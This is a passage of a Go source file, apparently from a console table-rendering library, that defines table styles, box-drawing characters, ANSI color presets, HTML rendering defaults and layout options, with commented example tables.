// on how the Table gets rendered on the Console.
type Style struct {
Name string // name of the Style
Box BoxStyle // characters to use for the boxes
Color ColorOptions // colors to use for the rows and columns
Format FormatOptions // formatting options for the rows and columns
HTML HTMLOptions // rendering options for HTML mode
Options Options // misc. options for the table
Title TitleOptions // formation options for the title text
}
var (
// StyleDefault renders a Table like below:
// +-----+------------+-----------+--------+-----------------------------+
// | # | FIRST NAME | LAST NAME | SALARY | |
// +-----+------------+-----------+--------+-----------------------------+
// | 1 | Arya | Stark | 3000 | |
// | 20 | Jon | Snow | 2000 | You know nothing, Jon Snow! |
// | 300 | Tyrion | Lannister | 5000 | |
// +-----+------------+-----------+--------+-----------------------------+
// | | | TOTAL | 10000 | |
// +-----+------------+-----------+--------+-----------------------------+
StyleDefault = Style{
Name: "StyleDefault",
Box: StyleBoxDefault,
Color: ColorOptionsDefault,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsDefault,
Title: TitleOptionsDefault,
}
// StyleBold renders a Table like below:
// ┏━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
// ┃ # ┃ FIRST NAME ┃ LAST NAME ┃ SALARY ┃ ┃
// ┣━━━━━╋━━━━━━━━━━━━╋━━━━━━━━━━━╋━━━━━━━━╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
// ┃ 1 ┃ Arya ┃ Stark ┃ 3000 ┃ ┃
// ┃ 20 ┃ Jon ┃ Snow ┃ 2000 ┃ You know nothing, Jon Snow! ┃
// ┃ 300 ┃ Tyrion ┃ Lannister ┃ 5000 ┃ ┃
// ┣━━━━━╋━━━━━━━━━━━━╋━━━━━━━━━━━╋━━━━━━━━╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
// ┃ ┃ ┃ TOTAL ┃ 10000 ┃ ┃
// ┗━━━━━┻━━━━━━━━━━━━┻━━━━━━━━━━━┻━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
StyleBold = Style{
Name: "StyleBold",
Box: StyleBoxBold,
Color: ColorOptionsDefault,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsDefault,
Title: TitleOptionsDefault,
}
// StyleColoredBright renders a Table without any borders or separators,
// and with Black text on Cyan background for Header/Footer and
// White background for other rows.
StyleColoredBright = Style{
Name: "StyleColoredBright",
Box: StyleBoxDefault,
Color: ColorOptionsBright,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsDark,
}
// StyleColoredDark renders a Table without any borders or separators, and
// with Header/Footer in Cyan text and other rows with White text, all on
// Black background.
StyleColoredDark = Style{
Name: "StyleColoredDark",
Box: StyleBoxDefault,
Color: ColorOptionsDark,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsBright,
}
// StyleColoredBlackOnBlueWhite renders a Table without any borders or
// separators, and with Black text on Blue background for Header/Footer and
// White background for other rows.
StyleColoredBlackOnBlueWhite = Style{
Name: "StyleColoredBlackOnBlueWhite",
Box: StyleBoxDefault,
Color: ColorOptionsBlackOnBlueWhite,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsBlueOnBlack,
}
// StyleColoredBlackOnCyanWhite renders a Table without any borders or
// separators, and with Black text on Cyan background for Header/Footer and
// White background for other rows.
StyleColoredBlackOnCyanWhite = Style{
Name: "StyleColoredBlackOnCyanWhite",
Box: StyleBoxDefault,
Color: ColorOptionsBlackOnCyanWhite,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsCyanOnBlack,
}
// StyleColoredBlackOnGreenWhite renders a Table without any borders or
// separators, and with Black text on Green background for Header/Footer and
// White background for other rows.
StyleColoredBlackOnGreenWhite = Style{
Name: "StyleColoredBlackOnGreenWhite",
Box: StyleBoxDefault,
Color: ColorOptionsBlackOnGreenWhite,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsGreenOnBlack,
}
// StyleColoredBlackOnMagentaWhite renders a Table without any borders or
// separators, and with Black text on Magenta background for Header/Footer and
// White background for other rows.
StyleColoredBlackOnMagentaWhite = Style{
Name: "StyleColoredBlackOnMagentaWhite",
Box: StyleBoxDefault,
Color: ColorOptionsBlackOnMagentaWhite,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsMagentaOnBlack,
}
// StyleColoredBlackOnYellowWhite renders a Table without any borders or
// separators, and with Black text on Yellow background for Header/Footer and
// White background for other rows.
StyleColoredBlackOnYellowWhite = Style{
Name: "StyleColoredBlackOnYellowWhite",
Box: StyleBoxDefault,
Color: ColorOptionsBlackOnYellowWhite,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsYellowOnBlack,
}
// StyleColoredBlackOnRedWhite renders a Table without any borders or
// separators, and with Black text on Red background for Header/Footer and
// White background for other rows.
StyleColoredBlackOnRedWhite = Style{
Name: "StyleColoredBlackOnRedWhite",
Box: StyleBoxDefault,
Color: ColorOptionsBlackOnRedWhite,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsRedOnBlack,
}
// StyleColoredBlueWhiteOnBlack renders a Table without any borders or
// separators, and with Header/Footer in Blue text and other rows with
// White text, all on Black background.
StyleColoredBlueWhiteOnBlack = Style{
Name: "StyleColoredBlueWhiteOnBlack",
Box: StyleBoxDefault,
Color: ColorOptionsBlueWhiteOnBlack,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsBlackOnBlue,
}
// StyleColoredCyanWhiteOnBlack renders a Table without any borders or
// separators, and with Header/Footer in Cyan text and other rows with
// White text, all on Black background.
StyleColoredCyanWhiteOnBlack = Style{
Name: "StyleColoredCyanWhiteOnBlack",
Box: StyleBoxDefault,
Color: ColorOptionsCyanWhiteOnBlack,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsBlackOnCyan,
}
// StyleColoredGreenWhiteOnBlack renders a Table without any borders or
// separators, and with Header/Footer in Green text and other rows with
// White text, all on Black background.
StyleColoredGreenWhiteOnBlack = Style{
Name: "StyleColoredGreenWhiteOnBlack",
Box: StyleBoxDefault,
Color: ColorOptionsGreenWhiteOnBlack,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsBlackOnGreen,
}
// StyleColoredMagentaWhiteOnBlack renders a Table without any borders or
// separators, and with Header/Footer in Magenta text and other rows with
// White text, all on Black background.
StyleColoredMagentaWhiteOnBlack = Style{
Name: "StyleColoredMagentaWhiteOnBlack",
Box: StyleBoxDefault,
Color: ColorOptionsMagentaWhiteOnBlack,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsBlackOnMagenta,
}
// StyleColoredRedWhiteOnBlack renders a Table without any borders or
// separators, and with Header/Footer in Red text and other rows with
// White text, all on Black background.
StyleColoredRedWhiteOnBlack = Style{
Name: "StyleColoredRedWhiteOnBlack",
Box: StyleBoxDefault,
Color: ColorOptionsRedWhiteOnBlack,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsBlackOnRed,
}
// StyleColoredYellowWhiteOnBlack renders a Table without any borders or
// separators, and with Header/Footer in Yellow text and other rows with
// White text, all on Black background.
StyleColoredYellowWhiteOnBlack = Style{
Name: "StyleColoredYellowWhiteOnBlack",
Box: StyleBoxDefault,
Color: ColorOptionsYellowWhiteOnBlack,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsNoBordersAndSeparators,
Title: TitleOptionsBlackOnYellow,
}
// StyleDouble renders a Table like below:
// ╔═════╦════════════╦═══════════╦════════╦═════════════════════════════╗
// ║ # ║ FIRST NAME ║ LAST NAME ║ SALARY ║ ║
// ╠═════╬════════════╬═══════════╬════════╬═════════════════════════════╣
// ║ 1 ║ Arya ║ Stark ║ 3000 ║ ║
// ║ 20 ║ Jon ║ Snow ║ 2000 ║ You know nothing, Jon Snow! ║
// ║ 300 ║ Tyrion ║ Lannister ║ 5000 ║ ║
// ╠═════╬════════════╬═══════════╬════════╬═════════════════════════════╣
// ║ ║ ║ TOTAL ║ 10000 ║ ║
// ╚═════╩════════════╩═══════════╩════════╩═════════════════════════════╝
StyleDouble = Style{
Name: "StyleDouble",
Box: StyleBoxDouble,
Color: ColorOptionsDefault,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsDefault,
Title: TitleOptionsDefault,
}
// StyleLight renders a Table like below:
// ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
// │ # │ FIRST NAME │ LAST NAME │ SALARY │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ 1 │ Arya │ Stark │ 3000 │ │
// │ 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow! │
// │ 300 │ Tyrion │ Lannister │ 5000 │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ │ │ TOTAL │ 10000 │ │
// └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
StyleLight = Style{
Name: "StyleLight",
Box: StyleBoxLight,
Color: ColorOptionsDefault,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsDefault,
Title: TitleOptionsDefault,
}
// StyleRounded renders a Table like below:
// ╭─────┬────────────┬───────────┬────────┬─────────────────────────────╮
// │ # │ FIRST NAME │ LAST NAME │ SALARY │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ 1 │ Arya │ Stark │ 3000 │ │
// │ 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow! │
// │ 300 │ Tyrion │ Lannister │ 5000 │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ │ │ TOTAL │ 10000 │ │
// ╰─────┴────────────┴───────────┴────────┴─────────────────────────────╯
StyleRounded = Style{
Name: "StyleRounded",
Box: StyleBoxRounded,
Color: ColorOptionsDefault,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsDefault,
Title: TitleOptionsDefault,
}
// styleTest renders a Table like below:
// (-----^------------^-----------^--------^-----------------------------)
// [< #>|<FIRST NAME>|<LAST NAME>|<SALARY>|< >]
// {-----+------------+-----------+--------+-----------------------------}
// [< 1>|<Arya >|<Stark >|< 3000>|< >]
// [< 20>|<Jon >|<Snow >|< 2000>|<You know nothing, Jon Snow!>]
// [<300>|<Tyrion >|<Lannister>|< 5000>|< >]
// {-----+------------+-----------+--------+-----------------------------}
// [< >|< >|<TOTAL >|< 10000>|< >]
// \-----v------------v-----------v--------v-----------------------------/
styleTest = Style{
Name: "styleTest",
Box: styleBoxTest,
Color: ColorOptionsDefault,
Format: FormatOptionsDefault,
HTML: DefaultHTMLOptions,
Options: OptionsDefault,
Title: TitleOptionsDefault,
}
)
// BoxStyle defines the characters/strings to use to render the borders and
// separators for the Table.
type BoxStyle struct {
BottomLeft string
BottomRight string
BottomSeparator string
EmptySeparator string
Left string
LeftSeparator string
MiddleHorizontal string
MiddleSeparator string
MiddleVertical string
PaddingLeft string
PaddingRight string
PageSeparator string
Right string
RightSeparator string
TopLeft string
TopRight string
TopSeparator string
UnfinishedRow string
}
var (
// StyleBoxDefault defines a Boxed-Table like below:
// +-----+------------+-----------+--------+-----------------------------+
// | # | FIRST NAME | LAST NAME | SALARY | |
// +-----+------------+-----------+--------+-----------------------------+
// | 1 | Arya | Stark | 3000 | |
// | 20 | Jon | Snow | 2000 | You know nothing, Jon Snow! |
// | 300 | Tyrion | Lannister | 5000 | |
// +-----+------------+-----------+--------+-----------------------------+
// | | | TOTAL | 10000 | |
// +-----+------------+-----------+--------+-----------------------------+
StyleBoxDefault = BoxStyle{
BottomLeft: "+",
BottomRight: "+",
BottomSeparator: "+",
EmptySeparator: text.RepeatAndTrim(" ", text.RuneCount("+")),
Left: "|",
LeftSeparator: "+",
MiddleHorizontal: "-",
MiddleSeparator: "+",
MiddleVertical: "|",
PaddingLeft: " ",
PaddingRight: " ",
PageSeparator: "\n",
Right: "|",
RightSeparator: "+",
TopLeft: "+",
TopRight: "+",
TopSeparator: "+",
UnfinishedRow: " ~",
}
// StyleBoxBold defines a Boxed-Table like below:
// ┏━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
// ┃ # ┃ FIRST NAME ┃ LAST NAME ┃ SALARY ┃ ┃
// ┣━━━━━╋━━━━━━━━━━━━╋━━━━━━━━━━━╋━━━━━━━━╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
// ┃ 1 ┃ Arya ┃ Stark ┃ 3000 ┃ ┃
// ┃ 20 ┃ Jon ┃ Snow ┃ 2000 ┃ You know nothing, Jon Snow! ┃
// ┃ 300 ┃ Tyrion ┃ Lannister ┃ 5000 ┃ ┃
// ┣━━━━━╋━━━━━━━━━━━━╋━━━━━━━━━━━╋━━━━━━━━╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
// ┃ ┃ ┃ TOTAL ┃ 10000 ┃ ┃
// ┗━━━━━┻━━━━━━━━━━━━┻━━━━━━━━━━━┻━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
StyleBoxBold = BoxStyle{
BottomLeft: "┗",
BottomRight: "┛",
BottomSeparator: "┻",
EmptySeparator: text.RepeatAndTrim(" ", text.RuneCount("╋")),
Left: "┃",
LeftSeparator: "┣",
MiddleHorizontal: "━",
MiddleSeparator: "╋",
MiddleVertical: "┃",
PaddingLeft: " ",
PaddingRight: " ",
PageSeparator: "\n",
Right: "┃",
RightSeparator: "┫",
TopLeft: "┏",
TopRight: "┓",
TopSeparator: "┳",
UnfinishedRow: " ≈",
}
// StyleBoxDouble defines a Boxed-Table like below:
// ╔═════╦════════════╦═══════════╦════════╦═════════════════════════════╗
// ║ # ║ FIRST NAME ║ LAST NAME ║ SALARY ║ ║
// ╠═════╬════════════╬═══════════╬════════╬═════════════════════════════╣
// ║ 1 ║ Arya ║ Stark ║ 3000 ║ ║
// ║ 20 ║ Jon ║ Snow ║ 2000 ║ You know nothing, Jon Snow! ║
// ║ 300 ║ Tyrion ║ Lannister ║ 5000 ║ ║
// ╠═════╬════════════╬═══════════╬════════╬═════════════════════════════╣
// ║ ║ ║ TOTAL ║ 10000 ║ ║
// ╚═════╩════════════╩═══════════╩════════╩═════════════════════════════╝
StyleBoxDouble = BoxStyle{
BottomLeft: "╚",
BottomRight: "╝",
BottomSeparator: "╩",
EmptySeparator: text.RepeatAndTrim(" ", text.RuneCount("╬")),
Left: "║",
LeftSeparator: "╠",
MiddleHorizontal: "═",
MiddleSeparator: "╬",
MiddleVertical: "║",
PaddingLeft: " ",
PaddingRight: " ",
PageSeparator: "\n",
Right: "║",
RightSeparator: "╣",
TopLeft: "╔",
TopRight: "╗",
TopSeparator: "╦",
UnfinishedRow: " ≈",
}
// StyleBoxLight defines a Boxed-Table like below:
// ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
// │ # │ FIRST NAME │ LAST NAME │ SALARY │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ 1 │ Arya │ Stark │ 3000 │ │
// │ 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow! │
// │ 300 │ Tyrion │ Lannister │ 5000 │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ │ │ TOTAL │ 10000 │ │
// └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
StyleBoxLight = BoxStyle{
BottomLeft: "└",
BottomRight: "┘",
BottomSeparator: "┴",
EmptySeparator: text.RepeatAndTrim(" ", text.RuneCount("┼")),
Left: "│",
LeftSeparator: "├",
MiddleHorizontal: "─",
MiddleSeparator: "┼",
MiddleVertical: "│",
PaddingLeft: " ",
PaddingRight: " ",
PageSeparator: "\n",
Right: "│",
RightSeparator: "┤",
TopLeft: "┌",
TopRight: "┐",
TopSeparator: "┬",
UnfinishedRow: " ≈",
}
// StyleBoxRounded defines a Boxed-Table like below:
// ╭─────┬────────────┬───────────┬────────┬─────────────────────────────╮
// │ # │ FIRST NAME │ LAST NAME │ SALARY │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ 1 │ Arya │ Stark │ 3000 │ │
// │ 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow! │
// │ 300 │ Tyrion │ Lannister │ 5000 │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ │ │ TOTAL │ 10000 │ │
// ╰─────┴────────────┴───────────┴────────┴─────────────────────────────╯
StyleBoxRounded = BoxStyle{
BottomLeft: "╰",
BottomRight: "╯",
BottomSeparator: "┴",
EmptySeparator: text.RepeatAndTrim(" ", text.RuneCount("┼")),
Left: "│",
LeftSeparator: "├",
MiddleHorizontal: "─",
MiddleSeparator: "┼",
MiddleVertical: "│",
PaddingLeft: " ",
PaddingRight: " ",
PageSeparator: "\n",
Right: "│",
RightSeparator: "┤",
TopLeft: "╭",
TopRight: "╮",
TopSeparator: "┬",
UnfinishedRow: " ≈",
}
// styleBoxTest defines a Boxed-Table like below:
// (-----^------------^-----------^--------^-----------------------------)
// [< #>|<FIRST NAME>|<LAST NAME>|<SALARY>|< >]
// {-----+------------+-----------+--------+-----------------------------}
// [< 1>|<Arya >|<Stark >|< 3000>|< >]
// [< 20>|<Jon >|<Snow >|< 2000>|<You know nothing, Jon Snow!>]
// [<300>|<Tyrion >|<Lannister>|< 5000>|< >]
// {-----+------------+-----------+--------+-----------------------------}
// [< >|< >|<TOTAL >|< 10000>|< >]
// \-----v------------v-----------v--------v-----------------------------/
styleBoxTest = BoxStyle{
BottomLeft: "\\",
BottomRight: "/",
BottomSeparator: "v",
EmptySeparator: text.RepeatAndTrim(" ", text.RuneCount("+")),
Left: "[",
LeftSeparator: "{",
MiddleHorizontal: "--",
MiddleSeparator: "+",
MiddleVertical: "|",
PaddingLeft: "<",
PaddingRight: ">",
PageSeparator: "\n",
Right: "]",
RightSeparator: "}",
TopLeft: "(",
TopRight: ")",
TopSeparator: "^",
UnfinishedRow: " ~~~",
}
)
// ColorOptions defines the ANSI colors to use for parts of the Table.
type ColorOptions struct {
IndexColumn text.Colors // index-column colors (row #, etc.)
Footer text.Colors // footer row(s) colors
Header text.Colors // header row(s) colors
Row text.Colors // regular row(s) colors
RowAlternate text.Colors // regular row(s) colors for the even-numbered rows
}
var (
// ColorOptionsDefault defines sensible ANSI color options - basically NONE.
ColorOptionsDefault = ColorOptions{}
// ColorOptionsBright renders dark text on bright background.
ColorOptionsBright = ColorOptionsBlackOnCyanWhite
// ColorOptionsDark renders bright text on dark background.
ColorOptionsDark = ColorOptionsCyanWhiteOnBlack
// ColorOptionsBlackOnBlueWhite renders Black text on Blue/White background.
ColorOptionsBlackOnBlueWhite = ColorOptions{
IndexColumn: text.Colors{text.BgHiBlue, text.FgBlack},
Footer: text.Colors{text.BgBlue, text.FgBlack},
Header: text.Colors{text.BgHiBlue, text.FgBlack},
Row: text.Colors{text.BgHiWhite, text.FgBlack},
RowAlternate: text.Colors{text.BgWhite, text.FgBlack},
}
// ColorOptionsBlackOnCyanWhite renders Black text on Cyan/White background.
ColorOptionsBlackOnCyanWhite = ColorOptions{
IndexColumn: text.Colors{text.BgHiCyan, text.FgBlack},
Footer: text.Colors{text.BgCyan, text.FgBlack},
Header: text.Colors{text.BgHiCyan, text.FgBlack},
Row: text.Colors{text.BgHiWhite, text.FgBlack},
RowAlternate: text.Colors{text.BgWhite, text.FgBlack},
}
// ColorOptionsBlackOnGreenWhite renders Black text on Green/White
// background.
ColorOptionsBlackOnGreenWhite = ColorOptions{
IndexColumn: text.Colors{text.BgHiGreen, text.FgBlack},
Footer: text.Colors{text.BgGreen, text.FgBlack},
Header: text.Colors{text.BgHiGreen, text.FgBlack},
Row: text.Colors{text.BgHiWhite, text.FgBlack},
RowAlternate: text.Colors{text.BgWhite, text.FgBlack},
}
// ColorOptionsBlackOnMagentaWhite renders Black text on Magenta/White
// background.
ColorOptionsBlackOnMagentaWhite = ColorOptions{
IndexColumn: text.Colors{text.BgHiMagenta, text.FgBlack},
Footer: text.Colors{text.BgMagenta, text.FgBlack},
Header: text.Colors{text.BgHiMagenta, text.FgBlack},
Row: text.Colors{text.BgHiWhite, text.FgBlack},
RowAlternate: text.Colors{text.BgWhite, text.FgBlack},
}
// ColorOptionsBlackOnRedWhite renders Black text on Red/White background.
ColorOptionsBlackOnRedWhite = ColorOptions{
IndexColumn: text.Colors{text.BgHiRed, text.FgBlack},
Footer: text.Colors{text.BgRed, text.FgBlack},
Header: text.Colors{text.BgHiRed, text.FgBlack},
Row: text.Colors{text.BgHiWhite, text.FgBlack},
RowAlternate: text.Colors{text.BgWhite, text.FgBlack},
}
// ColorOptionsBlackOnYellowWhite renders Black text on Yellow/White
// background.
ColorOptionsBlackOnYellowWhite = ColorOptions{
IndexColumn: text.Colors{text.BgHiYellow, text.FgBlack},
Footer: text.Colors{text.BgYellow, text.FgBlack},
Header: text.Colors{text.BgHiYellow, text.FgBlack},
Row: text.Colors{text.BgHiWhite, text.FgBlack},
RowAlternate: text.Colors{text.BgWhite, text.FgBlack},
}
// ColorOptionsBlueWhiteOnBlack renders Blue/White text on Black background.
ColorOptionsBlueWhiteOnBlack = ColorOptions{
IndexColumn: text.Colors{text.FgHiBlue, text.BgHiBlack},
Footer: text.Colors{text.FgBlue, text.BgHiBlack},
Header: text.Colors{text.FgHiBlue, text.BgHiBlack},
Row: text.Colors{text.FgHiWhite, text.BgBlack},
RowAlternate: text.Colors{text.FgWhite, text.BgBlack},
}
// ColorOptionsCyanWhiteOnBlack renders Cyan/White text on Black background.
ColorOptionsCyanWhiteOnBlack = ColorOptions{
IndexColumn: text.Colors{text.FgHiCyan, text.BgHiBlack},
Footer: text.Colors{text.FgCyan, text.BgHiBlack},
Header: text.Colors{text.FgHiCyan, text.BgHiBlack},
Row: text.Colors{text.FgHiWhite, text.BgBlack},
RowAlternate: text.Colors{text.FgWhite, text.BgBlack},
}
// ColorOptionsGreenWhiteOnBlack renders Green/White text on Black
// background.
ColorOptionsGreenWhiteOnBlack = ColorOptions{
IndexColumn: text.Colors{text.FgHiGreen, text.BgHiBlack},
Footer: text.Colors{text.FgGreen, text.BgHiBlack},
Header: text.Colors{text.FgHiGreen, text.BgHiBlack},
Row: text.Colors{text.FgHiWhite, text.BgBlack},
RowAlternate: text.Colors{text.FgWhite, text.BgBlack},
}
// ColorOptionsMagentaWhiteOnBlack renders Magenta/White text on Black
// background.
ColorOptionsMagentaWhiteOnBlack = ColorOptions{
IndexColumn: text.Colors{text.FgHiMagenta, text.BgHiBlack},
Footer: text.Colors{text.FgMagenta, text.BgHiBlack},
Header: text.Colors{text.FgHiMagenta, text.BgHiBlack},
Row: text.Colors{text.FgHiWhite, text.BgBlack},
RowAlternate: text.Colors{text.FgWhite, text.BgBlack},
}
// ColorOptionsRedWhiteOnBlack renders Red/White text on Black background.
ColorOptionsRedWhiteOnBlack = ColorOptions{
IndexColumn: text.Colors{text.FgHiRed, text.BgHiBlack},
Footer: text.Colors{text.FgRed, text.BgHiBlack},
Header: text.Colors{text.FgHiRed, text.BgHiBlack},
Row: text.Colors{text.FgHiWhite, text.BgBlack},
RowAlternate: text.Colors{text.FgWhite, text.BgBlack},
}
// ColorOptionsYellowWhiteOnBlack renders Yellow/White text on Black
// background.
ColorOptionsYellowWhiteOnBlack = ColorOptions{
IndexColumn: text.Colors{text.FgHiYellow, text.BgHiBlack},
Footer: text.Colors{text.FgYellow, text.BgHiBlack},
Header: text.Colors{text.FgHiYellow, text.BgHiBlack},
Row: text.Colors{text.FgHiWhite, text.BgBlack},
RowAlternate: text.Colors{text.FgWhite, text.BgBlack},
}
)
// FormatOptions defines the text-formatting to perform on parts of the Table.
type FormatOptions struct {
Footer text.Format // footer row(s) text format
Header text.Format // header row(s) text format
Row text.Format // (data) row(s) text format
}
var (
// FormatOptionsDefault defines sensible formatting options.
FormatOptionsDefault = FormatOptions{
Footer: text.FormatUpper,
Header: text.FormatUpper,
Row: text.FormatDefault,
}
)
// HTMLOptions defines the global options to control HTML rendering.
type HTMLOptions struct {
CSSClass string // CSS class to set on the overall <table> tag
EmptyColumn string // string to replace "" columns with (entire content being "")
EscapeText bool // escape text into HTML-safe content?
Newline string // string to replace "\n" characters with
}
var (
// DefaultHTMLOptions defines sensible HTML rendering defaults.
DefaultHTMLOptions = HTMLOptions{
CSSClass: DefaultHTMLCSSClass,
EmptyColumn: "&nbsp;",
EscapeText: true,
Newline: "<br/>",
}
)
// Options defines the global options that determine how the Table is
// rendered.
type Options struct {
// DrawBorder enables or disables drawing the border around the Table.
// Example of a table where it is disabled:
// # │ FIRST NAME │ LAST NAME │ SALARY │
// ─────┼────────────┼───────────┼────────┼─────────────────────────────
// 1 │ Arya │ Stark │ 3000 │
// 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow!
// 300 │ Tyrion │ Lannister │ 5000 │
// ─────┼────────────┼───────────┼────────┼─────────────────────────────
// │ │ TOTAL │ 10000 │
DrawBorder bool
// SeparateColumns enables or disable drawing border between columns.
// Example of a table where it is disabled:
// ┌─────────────────────────────────────────────────────────────────┐
// │ # FIRST NAME LAST NAME SALARY │
// ├─────────────────────────────────────────────────────────────────┤
// │ 1 Arya Stark 3000 │
// │ 20 Jon Snow 2000 You know nothing, Jon Snow! │
// │ 300 Tyrion Lannister 5000 │
// │ TOTAL 10000 │
// └─────────────────────────────────────────────────────────────────┘
SeparateColumns bool
// SeparateFooter enables or disable drawing border between the footer and
// the rows. Example of a table where it is disabled:
// ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
// │ # │ FIRST NAME │ LAST NAME │ SALARY │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ 1 │ Arya │ Stark │ 3000 │ │
// │ 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow! │
// │ 300 │ Tyrion │ Lannister │ 5000 │ │
// │ │ │ TOTAL │ 10000 │ │
// └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
SeparateFooter bool
// SeparateHeader enables or disable drawing border between the header and
// the rows. Example of a table where it is disabled:
// ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
// │ # │ FIRST NAME │ LAST NAME │ SALARY │ │
// │ 1 │ Arya │ Stark │ 3000 │ │
// │ 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow! │
// │ 300 │ Tyrion │ Lannister │ 5000 │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ │ │ TOTAL │ 10000 │ │
// └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
SeparateHeader bool
// SeparateRows enables or disables drawing separators between each row.
// Example of a table where it is enabled:
// ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
// │ # │ FIRST NAME │ LAST NAME │ SALARY │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ 1 │ Arya │ Stark │ 3000 │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ 20 │ Jon │ Snow │ 2000 │ You know nothing, Jon Snow! │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ 300 │ Tyrion │ Lannister │ 5000 │ │
// ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
// │ │ │ TOTAL │ 10000 │ │
// └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
SeparateRows bool
}
var (
// OptionsDefault defines sensible global options.
OptionsDefault = Options{
DrawBorder: true,
SeparateColumns: true,
SeparateFooter: true,
SeparateHeader: true,
SeparateRows: false,
}
// OptionsNoBorders sets up a table without any borders.
OptionsNoBorders = Options{
DrawBorder: false,
SeparateColumns: true,
SeparateFooter: true,
SeparateHeader: true,
SeparateRows: false,
}
// OptionsNoBordersAndSeparators sets up a table without any borders or
// separators.
OptionsNoBordersAndSeparators = Options{
DrawBorder: false,
SeparateColumns: false,
SeparateFooter: false,
SeparateHeader: false,
SeparateRows: false,
}
)
// TitleOptions defines the way the title text is to be rendered.
type TitleOptions struct {
Align text.Align
Colors text.Colors
Format text.Format
}
var (
// TitleOptionsDefault defines sensible title options - basically NONE.
TitleOptionsDefault = TitleOptions{}
// TitleOptionsBright renders Bright Bold text on Dark background.
TitleOptionsBright = TitleOptionsBlackOnCyan
// TitleOptionsDark renders Dark Bold text on Bright background.
TitleOptionsDark = TitleOptionsCyanOnBlack
// TitleOptionsBlackOnBlue renders Black text on Blue background.
TitleOptionsBlackOnBlue = TitleOptions{
Colors: append(ColorOptionsBlackOnBlueWhite.Header, text.Bold),
}
// TitleOptionsBlackOnCyan renders Black Bold text on Cyan background.
TitleOptionsBlackOnCyan = TitleOptions{
Colors: append(ColorOptionsBlackOnCyanWhite.Header, text.Bold),
}
// TitleOptionsBlackOnGreen renders Black Bold text onGreen background.
TitleOptionsBlackOnGreen = TitleOptions{
Colors: append(ColorOptionsBlackOnGreenWhite.Header, text.Bold),
}
// TitleOptionsBlackOnMagenta renders Black Bold text on Magenta background.
